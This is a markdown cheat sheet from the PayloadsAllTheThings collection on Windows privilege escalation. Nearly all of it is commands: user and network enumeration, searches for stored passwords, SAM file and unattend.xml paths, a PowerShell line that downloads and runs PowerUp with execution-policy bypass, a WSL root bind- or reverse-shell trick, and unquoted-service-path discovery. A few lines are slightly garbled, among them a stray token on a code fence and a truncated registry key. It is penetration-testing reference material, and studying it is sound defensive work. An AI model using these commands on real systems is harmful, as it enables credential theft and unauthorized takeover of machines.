PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalation.md

# Windows - Privilege Escalation

## Windows Version and Configuration

```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe
```

Architecture

```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```powershell
set
Get-ChildItem Env: | ft Key,Value
```

List all drives

```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

## User Enumeration

Get current username

```powershell
echo %USERNAME% || whoami
$env:username
```

List user privilege

```powershell
whoami /priv
```

List all users

```powershell
net user
net users
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

List logon requirements; useable for bruteforcing

```powershell$env:usernadsc
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```powershell
net user administrator
net user admin
net user %USERNAME%
```

List all local groups

```powershell
net localgroup
Get-LocalGroup | ft Name
```

Get details about a group (i.e. administrators)

```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```

## Network Enumeration

List all network interfaces, IP, and DNS.

```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

List current routing table

```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```

List the ARP table

```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

List all current connections

```powershell
netstat -ano
```

List firware state and current configuration

```powershell
netsh advfirewall firewall dump
```

List all network shares

```powershell
net share
```

SNMP Configuration

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

## Looting for passwords

### SAM and SYSTEM files

```powershell
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

### Search for file contents**

```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
```

### Search for a file with a certain filename

```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

### Search the registry for key names

```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```

### Read a value of a certain sub key

```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```

### Passwords in unattend.xml

Location of the unattend.xml files

```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Example content

```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>*SENSITIVE*DATA*DELETED*</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

### IIS Web config

```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```

## Processes Enumeration and Tasks

What processes are running?

```powershell
tasklist /v
net start
sc query
Get-Service
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```

Which processes are running as "system"

```powershell
tasklist /v /fi "username eq system"
```

Do you have powershell magic?

```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```

List installed programs

```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```

Scheduled tasks

```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

Startup tasks

```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```


## Using PowerSploit's PowerUp

Spot the weak service using PowerSploit's PowerUp

```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```

## Using Windows Subsystem for Linux (WSL)

Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)

> With root privileges Windows  Subsystem for Linux (WSL)  allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.

```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

## Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:windows\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```



## References

* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)
* [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/)